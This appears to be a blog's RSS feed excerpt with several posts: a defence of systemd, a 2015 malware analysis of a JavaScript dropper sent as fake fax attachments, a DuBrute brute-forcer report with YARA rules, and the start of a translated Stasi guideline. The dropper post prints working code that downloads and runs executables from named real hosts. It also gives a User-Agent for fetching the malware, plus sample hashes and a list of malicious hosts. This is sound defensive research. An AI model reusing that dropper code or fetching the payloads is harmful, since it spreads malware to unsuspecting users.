When I have 1000 of programs should I whitelist everyone and blacklist
just a few? What happens when I forgot to blacklist one? Can I blacklist
all programs on this planets via picking every program and analyzing it?
No, I can&rsquo;t and thats why we use a blacklist and whitelist the programs
that are allowed to stay running after logout. This way we can make sure
that only these whitelisted programs will run and not other stuff like
malware, zombie processes or the 16-years-old users porn torrents.</p>
<h2 id="systemd-nspawn-can-patch-at-will-any-kind-of-file-in-a-container">systemd-nspawn can patch at will any kind of file in a container</h2>
<p><em>Paired with transient units and user escalation performable remotely,
this can mean that if you house VPS instances somewhere, your hosting
provider has means and tools to spy, modify, delete any kind of content
you store there. Encrypt everything, read your TOS.</em></p>
<p>First of all when I host stuff remotely there is no guarantee that it&rsquo;s
not bugged even with disk-encryption. Even with disk-encryption the guy
with hardware access could do harmful things and modify, delete, spy
your stuff. This feature is necessary if we want to use namespaces in
containers.</p>
<h2 id="systemd-does-unix-nice">systemd does UNIX nice</h2>
<p>Let me quote the first sentence from the README there this feature is
mentioned:</p>
<p><em>The LimitNICE= setting now optionally takes normal UNIX nice values
in addition to the raw integer limit value.</em></p>
<p>What is so wrong about when we can limit a nice level for a specific
service? Imagine a service that starts consuming a lot of memory. This
way we can limit this service when it happens and give the other
processes a better place in the scheduling.</p>
<h2 id="systemd-locks-down-etc-and-makes-it-read-only">systemd locks down /etc and makes it read-only</h2>
<p>This is absolutly out of context. <strong>systemd</strong> uses a capability that is
called <strong>ProtectSystem</strong> with this capability I can reduce the access
for a specific service that doesn&rsquo;t need access to specific areas. This
means for /etc that /etc will be mounted read-only. But <strong>only</strong> for
this service. This way the service is not able to change configuration
files maliciously or unintentionally. I think this is a good feature to
secure your system.</p>
<h2 id="systemd-now-does-your-dns">systemd now does your DNS</h2>
<p>We are not in North-Korea. DNS is something important nowadays that
every system that wants to do networking need. It was just an amount of
time that this will be included. Moreover you can turn that function off
and still use every other DNS service that you like. It&rsquo;s also important
for the nspawn-containers. They rely on a proper DNS service. And
mostly: The systemd developers can finally enforce DNSSEC everywhere
with this option. That&rsquo;s a good step to a more secure internet.</p>
<h2 id="systemd-hates-when-you-adapt-your-system-graphics-on-other-than-vt1">systemd hates when you adapt your system (graphics on other than vt1)</h2>
<p>Support has borders. You can&rsquo;t support everything in a software and
standards are needed. The internet relies on standards because standards
make the world easy.</p>
]]></content></item><item><title>The raise of Javascript-droppers</title><link>https://shibumi.dev/posts/raise-of-the-javascript-droppers-part-1/</link><pubDate>Sun, 29 Nov 2015 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/raise-of-the-javascript-droppers-part-1/</guid><description>A few weeks ago, i got the following email:
New incoming fax document. Scanned fax document is attached to this email. Sender: Lonnie Sloan File name: scan-00273548.doc Scan duration: 48 seconds Scanned: Thu, 29 Oct 2015 16:04:40 +0300 Filesize: 186 Kb Resolution: 600 DPI Pages scanned: 10 Thanks for using Interfax service! First I&amp;rsquo;ve thought thats just spam as usual. But this time it should be a big malware campaign. Let us check out the attachment scan-00273548.</description><content type="html"><![CDATA[<p><img src="/img/behaviour.jpg" alt="interfaxgraphic">
A few weeks ago, i got the following email:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">New incoming fax document.

Scanned fax document is attached to this email.

Sender:            Lonnie Sloan
File name:         scan-00273548.doc
Scan duration:     48 seconds
Scanned:           Thu, 29 Oct 2015 16:04:40 +0300
Filesize:          186 Kb
Resolution:        600 DPI
Pages scanned:     10

Thanks for using Interfax service!</code></pre></div>
<p>First I&rsquo;ve thought thats just spam as usual. But this time it should be a
big malware campaign. Let us check out the attachment <em>scan-00273548.zip</em>.
If we unpack the zip-archive we will get a .doc.js file.. nice try.</p>
<p><img src="/img/img-2015-11-29-174834.png" alt="sourcecode of .doc.js file"></p>
<p>Ok thats messy. I&rsquo;ve found a simple regex for deobfuscating it: <em>%s/; };/;
};\r/g</em>. Now we have one function per line and can watch over it without
headache. Seems like it&rsquo;s some simple arithmetic. They have in every function a
string and just return the string for adding the string with another string.
And the last function is executing the constructed string. In this sample this
payload lies in the <em>mzvc</em>-variable:</p>
<div class="highlight"><pre class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="s2">&#34;hourlywhy.com yoakumdentalcare.com ncdivers.com&#34;</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">);</span> 
<span class="kd">var</span> <span class="nx">ws</span> <span class="o">=</span> <span class="nx">WScript</span><span class="p">.</span><span class="nx">CreateObject</span><span class="p">(</span><span class="s2">&#34;WScript.Shell&#34;</span><span class="p">);</span> 
<span class="kd">var</span> <span class="nx">fn</span> <span class="o">=</span> <span class="nx">ws</span><span class="p">.</span><span class="nx">ExpandEnvironmentStrings</span><span class="p">(</span><span class="s2">&#34;%TEMP%&#34;</span><span class="p">)</span><span class="o">+</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">92</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;377492&#34;</span><span class="p">;</span> 
<span class="kd">var</span> <span class="nx">xo</span> <span class="o">=</span> <span class="nx">WScript</span><span class="p">.</span><span class="nx">CreateObject</span><span class="p">(</span><span class="s2">&#34;MSXML2.XMLHTTP&#34;</span><span class="p">);</span> 
<span class="kd">var</span> <span class="nx">xa</span> <span class="o">=</span> <span class="nx">WScript</span><span class="p">.</span><span class="nx">CreateObject</span><span class="p">(</span><span class="s2">&#34;ADODB.Stream&#34;</span><span class="p">);</span> 
<span class="kd">var</span> <span class="nx">ld</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> 
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">n</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span> <span class="nx">n</span><span class="o">&lt;=</span><span class="mi">3</span><span class="p">;</span> <span class="nx">n</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> 
  <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span><span class="o">=</span><span class="nx">ld</span><span class="p">;</span> <span class="nx">i</span><span class="o">&lt;</span><span class="nx">b</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> 
    <span class="kd">var</span> <span class="nx">dn</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> 
    <span class="k">try</span> <span class="p">{</span> 
      <span class="nx">xo</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span><span class="s2">&#34;http://&#34;</span><span class="o">+</span><span class="nx">b</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="o">+</span><span class="s2">&#34;/counter/?id=&#34;</span><span class="o">+</span><span class="nx">str</span><span class="o">+</span><span class="s2">&#34;&amp;rnd=167506&#34;</span><span class="o">+</span><span class="nx">n</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span> 
      <span class="nx">xo</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span> 
      <span class="k">if</span> <span class="p">(</span><span class="nx">xo</span><span class="p">.</span><span class="nx">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span> 
        <span class="nx">xa</span><span class="p">.</span><span class="nx">open</span><span class="p">();</span> 
        <span class="nx">xa</span><span class="p">.</span><span class="nx">type</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> 
        <span class="nx">xa</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">xo</span><span class="p">.</span><span class="nx">responseBody</span><span class="p">);</span> 
        <span class="k">if</span> <span class="p">(</span><span class="nx">xa</span><span class="p">.</span><span class="nx">size</span> <span class="o">&gt;</span> <span class="mi">1000</span><span class="p">)</span> <span class="p">{</span> 
          <span class="nx">dn</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> 
          <span class="nx">xa</span><span class="p">.</span><span class="nx">position</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> 
          <span class="nx">xa</span><span class="p">.</span><span class="nx">saveToFile</span><span class="p">(</span><span class="nx">fn</span><span class="o">+</span><span class="nx">n</span><span class="o">+</span><span class="s2">&#34;.exe&#34;</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span> 
          <span class="k">try</span> <span class="p">{</span>  <span class="nx">ws</span><span class="p">.</span><span class="nx">Run</span><span class="p">(</span><span class="nx">fn</span><span class="o">+</span><span class="nx">n</span><span class="o">+</span><span class="s2">&#34;.exe&#34;</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> 
          <span class="k">catch</span> <span class="p">(</span><span class="nx">er</span><span class="p">)</span> <span class="p">{</span> <span class="p">};</span> 
        <span class="p">};</span> 
        <span class="nx">xa</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span> 
      <span class="p">};</span> 
      <span class="k">if</span> <span class="p">(</span><span class="nx">dn</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> 
        <span class="nx">ld</span> <span class="o">=</span> <span class="nx">i</span><span class="p">;</span> 
        <span class="k">break</span><span class="p">;</span> 
      <span class="p">};</span> 
    <span class="p">}</span> 
    <span class="k">catch</span> <span class="p">(</span><span class="nx">er</span><span class="p">)</span> <span class="p">{</span> <span class="p">};</span> 
  <span class="p">};</span> 
<span class="p">};</span>
</code></pre></div>
<p>The payload is really simple. It tries to download for every URL in <em>var b</em>
three executables. These executables will be saved in %TEMP% named as <em>fn+n</em>.
fn is a random number and n is the iteration number. After downloading the
executable the executable will be executet via Wscript (Windows Script Host).
During my further analysis I had problems with downloading these executables
until I realized that they are looking for the User-Agent.</p>
<p>if you use this user-agent downloading the malware should work:</p>
<p>&ldquo;Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)&rdquo;</p>
<p>I have waited a few weeks because i was collecting some malware :-)
I have currently the following samples (I named the dropper &lsquo;JS.Dropper.Interfax&rsquo;
because it&rsquo;s specific for the malware to use interfax.org for spreading the dropper.
If you have a better name for it. Email me):</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">Windows/JS.Dropper.Interfax (packed):
-------------------------------------
078a3a2c2744856fbb2deae4d0b1b15aa0bc79346e57ffbbc8876bbe34da1722  document-0000120162.zip
acdcb89485de692c76d3f4bae8700184a39e368c8f20292a04dd235953479703  document000844424.zip
b9aefe4358b7aaae18671b2491343b3c12c2e6fda65178b7027aa0a62c23bd96  document-00493976.zip
eee0d46c202904e73a19f087035084ca9b804191cb957710fc4ed0b54c234e8b  fax-00000388383.zip
71ccc854bfac394d863252bad9e8d69b32aa8429c27f14d25f8907b8e4302e8d  fax00000721266.zip
54f9a4b132259e2b096c35932b27b265e3328fd2bec2d224789d3a8e521296a8  fax00000963122.zip
9aea166df797240fd9612c0c87717bc5db9c2de0efa779d4975d6dc0cd165233  scan-00273548.zip
7c3c8f74d751381cf360edd2a913aaad2ea8767b3f0c3b11260df3fceb48d44b  scanned00000466902.zip
dfe74d27c02d0f2f201d7180cac78f6c12eed48e478c08f0db2e8fd7e527764f  scanned00000786175.zip
6616391c320b734833ecc30875736512abfa8fce6ca916b20fd8f797e08d62b8  scanned-0000585088.zip
35be069c758c7f7baf4dfa43a25ee7ec7744e8b35b51ee36f0358ddfbc425ac4  task-000192629.zip

Windows/JS.Dropper.Interfax (unpacked):
---------------------------------------
46e65c323d22f4b533d741b12ad408d365c7957c8d908b7dbf02dbaf3ac650b1  document-0000120162.doc.js
263abf3b1fdcf7e86e7a5ca1faab4545b7804b2fe5faf52653dca27229a84861  document000844424.doc.js
596ef4c34ee520d8520bb3f5c146d4e4458c2f40faf18a04b7fc14481bc27fde  document-00493976.doc.js
9c166377154de93c854a36313a324fae142483312c717de2999f872e168edde2  fax-00000388383.doc.js
88159e201ca2aef52128d95d9cee03f4ce5d6e40d30632d8a8e28fc0f169f23c  fax00000721266.doc.js
4c78627eaaa9d4cd9af267fd530e62246fb185de774d5a2e92b2bab5c182881c  fax00000963122.doc.js
f078e53f18cf9a377abcb6495d5c11fdb395358e2ec1a3bc734711bca260ec9e  scan-00273548.doc.js
d17784706095e4b405024271cb3306fedd1c59970f8a97f4aed8046da3ff1c56  scanned00000466902.doc.js
a8627e18740d52db10307cd92fd3e6f909ca4c4a821d4d0efe2abbb3fa2116ab  scanned00000786175.doc.js
76db30fb90348144baf6ef32e16964fe6ccc12c7f59e499ac1f9ac0015cad30b  scanned-0000585088.doc.js
a1ca539279e07bd0d919e428cba8aa10588285b61317b4a0b2fc3005c08267db  task-000192629.doc.js</code></pre></div>
<p>With these js-droppers I have collected the following Windows-Binaries:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">Gen:Variant.Zusy.170761 (F-Secure):
-----------------------------------
0bd57c22d752e93db99be65be5d66568fc07a1eca23b50ddbfd61856f36615c3  amperspective.com.2.5400081
3891cd32a612b901127c5c54d97498fd48286648c3706b6086fb1bccad773b2a  boulevardeasttrading.com.4484331
5165fcdc2e73459603db0ddf365a12327681be7f542e7437b115da2feacfbbb3  www.fourmorehours.com.4484331

Trojan.Win32.VBKryjetor.wmt (Kaspersky):
----------------------------------------
7e583c0405e21f1f8a6bc9b2c653ba4c362d05fbee30642d92f72bd5da18cfa0  amperspective.com.2.5400082

Trojan.SecurityDefender.A (F-Secure):
-------------------------------------
daf4d96a121c9e4935082d4e0264088ff352f14d868f8720d8fa7e4f99c82f05  arivusampark.com.2.9634923

Trojan:W32/Emotet.B (F-Secure):
-------------------------------
e3348cb2fadfbe841cc797fa0512df78b3ab214c5dbd561410aaa25230601c9a  boulevardeasttrading.com.9475671

UDS:DangerousObject.Multi.Generic (Kaspersky):
----------------------------------------------
d93c77d44220fcea930a04d825151a70dacd4b9c347b2c7fbbcff21e7a62fbf6  boulevardeasttrading.com.9475672

TR/Kazy.219184 (Avira):
-----------------------
860da096755a08c53f8fe83a134409f75d2a43b21898c96aa12dc98a4a5e2fca  cdkproperties.com.614011

Trojan.Win32.VBKryjetor.wlh (Kaspersky):
----------------------------------------
903cc80683dd05bafb51028896574c7334929b4dd944222660dc2ec72bcdc52b  cdkproperties.com.614012</code></pre></div>
<p>Sorry for the different AV-Vendors. But some of the malware was nearly undetected. For example this one here:</p>
<p><img src="/img/img-2015-11-29-182918.png" alt="Virustotalreport"></p>
<p>I have created a shellscript for downloading the most samples automatically:</p>
<p><img src="/img/img-2015-11-29-180932.png" alt="shellscript"></p>
<p>Here is a list of all malicious hosts:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">monarchexcess2.com : 108.59.241.6
============================================================
OrgName:        Earthlink, Inc.
Country:        US
RegDate:        2010-12-03
Updated:        2014-03-20


foy.enlightenedtours.com : 74.220.207.140
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2007-01-09
Updated:        2011-11-29


liveoakresort.com : 68.164.182.11
============================================================
OrgName:        MegaPath Corporation
OriginAS:       AS18566
Country:        US
RegDate:        2002-11-12
Updated:        2013-10-08


arivusampark.com : 98.138.19.143
============================================================
OrgName:        Yahoo! Inc.
Country:        US
RegDate:        2007-12-07
Updated:        2012-03-02


kennedy.sitoserver.com : 174.121.246.162
============================================================
OrgName:        ThePlanet.com Internet Services, Inc.
OriginAS:       AS36420, AS30315, AS13749, AS21844
Country:        US
RegDate:        2009-03-23
Updated:        2012-02-24


cjet.com.br : 173.0.142.43
============================================================
OrgName:        Apyl Inc
OriginAS:       AS53628
Country:        US
RegDate:        2010-11-04
Updated:        2010-11-04


j-hsu.com : 69.89.27.244
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2006-10-02
Updated:        2012-11-14


cdkproperties.com : 98.138.19.143
============================================================
OrgName:        Yahoo! Inc.
Country:        US
RegDate:        2007-12-07
Updated:        2012-03-02


pdeluxedesign.com : 98.138.19.143
============================================================
OrgName:        Yahoo! Inc.
Country:        US
RegDate:        2007-12-07
Updated:        2012-03-02


monarchexcess2.com : 108.59.241.6
============================================================
OrgName:        Earthlink, Inc.
Country:        US
RegDate:        2010-12-03
Updated:        2014-03-20


amperspective.com : 74.50.28.190
============================================================
OrgName:        Lunar Pages
Country:        US
RegDate:        2007-03-13
Updated:        2014-05-22


samiragallery.com : 174.121.79.34
============================================================
OrgName:        ThePlanet.com Internet Services, Inc.
OriginAS:       AS36420, AS30315, AS13749, AS21844
Country:        US
RegDate:        2009-03-23
Updated:        2012-02-24


vikramprabu.com : 207.182.142.219
============================================================
OrgName:        eNET Inc.
Country:        US
RegDate:        2008-03-03
Updated:        2012-03-02


hourlywhy.com : 74.220.207.189
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2007-01-09
Updated:        2011-11-29


yoakumdentalcare.com : 98.139.135.129
============================================================
OrgName:        Yahoo! Inc.
Country:        US

ncdivers.com : 173.254.28.148
============================================================
OrgName:        Unified Layer
OriginAS:       AS46606
Country:        US
RegDate:        2010-10-05
Updated:        2012-11-14


visidian.com : 209.200.79.215
============================================================
OrgName:        CrystalTech Web Hosting Inc.
OriginAS:       AS14992
Country:        US
RegDate:        2004-06-22
Updated:        2010-01-25


kindernestmumbai.com : 199.79.62.161
============================================================
OrgName:        Confluence Networks Inc
OriginAS:       AS32787, AS40034
Country:        US
RegDate:        2012-07-02
Updated:        2012-07-02


www.fourmorehours.com : 108.168.206.100
============================================================
OrgName:        SoftLayer Technologies Inc.
OriginAS:       AS36351
Country:        US
RegDate:        2012-01-06
Updated:        2013-07-12


www.pclradiotv.com : 192.155.192.181
============================================================
OrgName:        SoftLayer Technologies Inc.
Country:        US
RegDate:        2014-04-25
Updated:        2014-04-25


boulevardeasttrading.com : 174.120.146.122
============================================================
OrgName:        ThePlanet.com Internet Services, Inc.
OriginAS:       AS36420, AS30315, AS13749, AS21844
Country:        US
RegDate:        2009-03-23
Updated:        2012-02-24

escuela.zenpropiedades.com : 38.105.13.45
============================================================
OrgName:        PSINet, Inc.
OriginAS:       AS174
Country:        US
RegDate:        1991-04-16
Updated:        2011-05-20

www.oldenburg.cl : 50.22.11.30
============================================================
OrgName:        SoftLayer Technologies Inc.
OriginAS:       AS36351
Country:        US
RegDate:        2010-11-01
Updated:        2013-07-12

onworldwide.com : 74.103.245.123
============================================================
OrgName:        Verizon Online LLC
Country:        US
RegDate:        2009-01-26
Updated:        2012-03-02</code></pre></div>
]]></content></item><item><title>DuBrute - a rare view into chinese blackhat techniques</title><link>https://shibumi.dev/posts/dubrute/</link><pubDate>Sat, 05 Sep 2015 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/dubrute/</guid><description>As member of the MalwareMustDie ELF-Team, I was assigned to make report to dissect the DuBrute bruteforcing tool. This report is published on the effort as the first official report that hopefully can help good people in InfoSec.
We all know the ELF malware that comes from China. Linux/MrBlack, Linux/Xor.DDoS, Linux/BillGates are just a few of them. But what we don&amp;rsquo;t know is the way how our suspects are working. What is their common way to spread so much malware in only a few days?</description><content type="html"><![CDATA[<p>As member of the MalwareMustDie ELF-Team, I was assigned to make report to dissect the DuBrute bruteforcing tool. This report is published on the effort as the first official report that hopefully can help good people in InfoSec.</p>
<p>We all know the ELF malware that comes from China. Linux/MrBlack,
Linux/Xor.DDoS, Linux/BillGates are just a few of them. But what we don&rsquo;t know
is the way how our suspects are working. What is their common way to spread so
much malware in only a few days? Which tools are they using? How do they work?</p>
<p>Our team has disclosed the video of the way how ELF malware can be spread via exploiting SSH in this malwaremustdie blog post:</p>
<p><a href="http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html">http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html</a></p>
<p>But new tools just come up to be used, this post explains one of the new used tools called &ldquo;DUBrute&rdquo;.</p>
<p>Due to the team&rsquo;s research we have found a .zip archive in one of the chinese HFS panels.
In this .zip archive we have found a picture and a directory called &ldquo;DUBrute&rdquo;.</p>
<p>Let us have a look on this directory:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">14b2374efbd0d6ec435eb10d053db1c3  1.bat
8f4ec24aeda03afaae1cac0d7030dcf2  2.bat
abf1f45b4fa467b830f091cf96d82586  QtCore4.dll
21e38b4a1f28bdef99d1c7dac5dce164  QtGui4.dll
f971323ecd66fdd66468c6551c8eaa79  config.ini
bac0e8e8fa5d330bc0a58e440eab5812  dubrute.exe
cdbdef73515997355e81a99421c1d721  libeay32.dll
86f1895ae8c5e8b17d99ece768a70732  msvcr71.dll
6c06fb9e1d818fde8d142ee180a65646  ssleay32.dll
16f9d4cbd70328c0370d6587b8e48c05  xf.TXT
956958b308193d9f064d49f13a4d1ee1  xiaofe.dll</code></pre></div>
<p>So what do we have? We have several different .dll (dynamic linked libraries)
one .exe (Windows Executable), 2 batch files and one simple text file.
So let us check out the dubrute.exe first:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">dubrute.exe: PE32 executable (GUI) Intel 80386, for MS Windows
Filesize: 286720
MD5: bac0e8e8fa5d330bc0a58e440eab5812</code></pre></div>
<p><img src="/img/dubrute_main.jpg" alt="dubrute_main"></p>
<p>This is the main-menu of the DuBrute v2.2. It is pretty simple. &ldquo;Start&rdquo; starts
the bruteforce and &ldquo;Stop&rdquo; stops it. &ldquo;Config&rdquo; opens the config-menu, &ldquo;Generation&rdquo;
generates an input file for the tool and &ldquo;Exit&rdquo; exits the programm. The input file is called &ldquo;Source&rdquo;. All successful logins will go into a file called &ldquo;good.txt&rdquo;, errors will go into &ldquo;error.txt&rdquo; and IP&rsquo;s without a result will go into &ldquo;bad.txt&rdquo;. Let us see the dubrute config menu:</p>
<p><img src="/img/dubrute_config.jpg" alt="dubrute_config"></p>
<p>Additional to the filepaths for the output files you can set different other
options like &ldquo;Thread rate&rdquo;, &ldquo;Connections&rdquo;, &ldquo;TimeOut&rdquo; and &ldquo;AutoSave&rdquo;.</p>
<p>The next picture is more interesting. This is the source.txt-Generator. With
this tool they can create an input file. This input file contains the IP&rsquo;s,
logins and passwords.</p>
<p><img src="/img/dubrute_generator.jpg" alt="dubrute_generator"></p>
<p>The chinese seem to have problems with this panel. So they made a little
tutorial for each other:</p>
<p><img src="/img/picture.jpg" alt="picture.jpg"></p>
<p>This is the picture that I have found in the panel. I translated the chinese and
marked it as Investigation Material. The other .dll&rsquo;s seems to be dependencies
for the bruteforce-tool except one:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">The dependencies for dubrute.exe:

cdbdef73515997355e81a99421c1d721  libeay32.dll
86f1895ae8c5e8b17d99ece768a70732  msvcr71.dll
6c06fb9e1d818fde8d142ee180a65646  ssleay32.dll
abf1f45b4fa467b830f091cf96d82586  QtCore4.dll
21e38b4a1f28bdef99d1c7dac5dce164  QtGui4.dll</code></pre></div>
<p>If you want to examine your system for this kind of hacking-tool feel free to
use my yara-rule for it:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">rule dubrute : bruteforcer
{
    meta:
        author = &#34;Christian Rebischke (@sh1bumi)&#34;
        date = &#34;2015-09-05&#34;
        description = &#34;Rules for DuBrute Bruteforcer&#34;
        in_the_wild = true
        family = &#34;Hackingtool/Bruteforcer&#34;

    strings:
        $a = &#34;WBrute&#34;
        $b = &#34;error.txt&#34;
        $c = &#34;good.txt&#34;
        $d = &#34;source.txt&#34;
        $e = &#34;bad.txt&#34;
        $f = &#34;Generator IP@Login;Password&#34;

    condition:
        //check for MZ Signature at offset 0
        uint16(0) == 0x5A4D 

        and 

        //check for dubrute specific strings
        $a and $b and $c and $d and $e and $f 
}</code></pre></div>
<p>Who else is using DuBrute?</p>
<p>DuBrute is one of the mostly used bruteforcer for windows in the internet. Here are just a few examples who else is using DuBrute:</p>
<p><a href="http://carderpro.biz/showthread.php?p=460165#post460165">Russian Carders</a><br>
<a href="https://www.facebook.com/SpamHack/posts/347412948698020">Maroccoean Hackercrew</a><br>
<a href="https://www.facebook.com/pages/Dubrute/144352472395740?fref=nf">Albanian Hackercrew</a><br>
<a href="https://www.facebook.com/hackvps1">some skiddies</a><br>
<a href="http://anonsquad.blogspot.de/2014/02/how-to-hack-windows-servers-using.html">AnonSquad</a><br>
<a href="https://blackteam300.wordpress.com/2013/06/13/dubrute-v2-2/">Black Team</a><br>
<a href="https://www.cyberguerrilla.org/a/2013/?p=11002">Cyberguerilla</a></p>
<p>and much more..</p>
<p>Let us go to the next binary. This is xiaofe.dll. I analyzed it via
<a href="https://www.winitor.com/">PeStudio</a> (thx to Marc Ochsenmeier for this awesome tool).</p>
<p><img src="/img/xiaofe_exports.jpg" alt="xiaofe_exports.jpg">
<img src="/img/xiaofe.jpg" alt="xiaofe.jpg"></p>
<p>It&rsquo;s pretty clear a portscanner. I think this doesn&rsquo;t need more explaination.
Here is a yara-rule for this tool, too:</p>
<div class="highlight"><pre class="chroma"><code class="language-text" data-lang="text">rule wineggdrop : portscanner
{
    meta:
        author = &#34;Christian Rebischke (@sh1bumi)&#34;
        date = &#34;2015-09-05&#34;
        description = &#34;Rules for TCP Portscanner VX.X by WinEggDrop&#34;
        in_the_wild = true
        family = &#34;Hackingtool/Portscanner&#34;

    strings:
        $a = { 54 43 50 20 50 6f 72 74 20 53 63 61 6e 6e 65 72 
               20 56 3? 2e 3? 20 42 79 20 57 69 6e 45 67 67 44 
               72 6f 70 0a } 
        $b = &#34;Result.txt&#34;
        $c = &#34;Usage:   %s TCP/SYN StartIP [EndIP] Ports [Threads] [/T(N)] [/(H)Banner] [/Save]\n&#34;

    condition:
        //check for MZ Signature at offset 0
        uint16(0) == 0x5A4D

        and

        //check for wineggdrop specific strings
        $a and $b and $c 
}</code></pre></div>
<p>After I analyzed the binaries I went further to the batch files.
I didn&rsquo;t expect something special, but I was nicely surprised:</p>
<p><img src="/img/1bat.jpg" alt="2.bat"></p>
<p>2.bat seems to be a clean-up script. It cleans up the working directory outputs a chinese header (that I can&rsquo;t read due to encoding problems. When you have an idea how to fix this feel free to email me) and initiates the portscan on all IP&rsquo;s in the xf.txt file. The interesting part is the QQ ID. (QQ is a famous chinese messenger and mailhoster). This QQ ID leads us to an old known suspect, who is pretty famous for the Linux/Xor.DDoS story:</p>
<p>Here are the virustotal-links to the two binaries:</p>
<p><a href="https://www.virustotal.com/en/file/6efe32cb80a3a2761c6d25b33ca5a85eb479cdd68d49980df18de9e851ff2dea/analysis/1441216794/">dubrute.exe</a><br>
<a href="https://www.virustotal.com/en/file/3fba13273b31520ec3d83c054888a1f8a959e9a710366ac0578a4927ad983118/analysis/">xiaofe.dll</a></p>
<p>thanks to my fellow team mates and our supporters for the great assistance.</p>
]]></content></item><item><title>Zersetzung - STASI guideline (english translation)</title><link>https://shibumi.dev/posts/zersetzung/</link><pubDate>Tue, 07 Apr 2015 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/zersetzung/</guid><description>Translation of http://www.ddr-wissen.de/wiki/ddr.pl?MfS-Richtlinie_1-76 by @Netzblockierer i7c@irc.freenode.net and me Christian Rebischke (@sh1bumi) feel free to share and edit it :) because sharing is caring
Abstract of guideline (Richtlinie) 1/76 of the &amp;ldquo;Ministry for State Security&amp;rdquo; for processing operative procedures of decomposition, passed by Erich Mielke (Minister of State Security (Staatssicherheit: &amp;ldquo;STASI&amp;rdquo;):
Berlin, January 1976
COUNCIL OF MINISTERS OF THE GERMAN DEMOCRATIC REPUBLIC (GDR) MINISTRY FOR STATE SECURITY THE MINISTER FOR STATE SECURITY</description><content type="html"><![CDATA[<p>Translation of <a href="http://www.ddr-wissen.de/wiki/ddr.pl?MfS-Richtlinie_1-76">http://www.ddr-wissen.de/wiki/ddr.pl?MfS-Richtlinie_1-76</a>
by  @Netzblockierer <a href="mailto:i7c@irc.freenode.net">i7c@irc.freenode.net</a> and me Christian Rebischke (@sh1bumi)
feel free to share and edit it :) because sharing is caring</p>
<hr>
<p>Abstract of guideline (Richtlinie) 1/76 of the &ldquo;Ministry for State Security&rdquo;
for processing  operative procedures of decomposition,
passed by Erich Mielke (Minister of State Security (Staatssicherheit: &ldquo;STASI&rdquo;):</p>
<p>Berlin, January 1976</p>
<p>COUNCIL OF MINISTERS OF THE GERMAN DEMOCRATIC REPUBLIC (GDR)
MINISTRY FOR STATE SECURITY
THE MINISTER FOR STATE SECURITY</p>
<p>Richtlinie (Guideline) Nr. 1/76
On the Development and Management of operative procedures</p>
<hr>
<p>(&hellip;)</p>
<p>2.6.   The application of decomposition measures</p>
<p>2.6.1. Aim and areas of application of  measures</p>
<p>Measures of decomposition are to be directed at evocation, as well as exploitation and reinforcement
of such conflicts and differences between hostile-negative forces, through which they crack,
get paralyzed, become disorganized and isolated and their hostile-negative plots, as well as their impacts,
get precautionarly prevented, essentialy constrained or altogether prevented.</p>
<p>In dependence to the precise situation among hostile-negative forces the attitude of certain people,
who have relevant links, is to be influenced in such way that they give up their hostile-negative
position and additional positive influence is possible.</p>
<p>Decomposition measures can be directed at groups, assemblies and organisations as well as individuals
and should be used as an independent way to end operative procedures or in correlation with other ways of termination.</p>
<p>The leader of the operative units have to ensure that in political-operative necessity
decomposition measures must be an indispensable part of offensive tactics.</p>
<p>Decomposition measures are to be applied in particular:</p>
<ul>
<li>
<p>when, during the processing of operative measures, the necessary proof for the existence of a
&ldquo;state crime&rdquo; [political offender] or other has been developed, and the according operative
process needs to be closed without penitentiary measures due to political or
political-operative reasons in the interest of a higher use to society.</p>
</li>
<li>
<p>in connection with the execution of criminal proceedings,
in particular for destroying enemy forces and stopping the public
extent of negative-hostile actions against the society.</p>
</li>
<li>
<p>for effective preventive suppression of state-hostile activity and other negative-hostile actions like e.g.</p>
<ul>
<li>
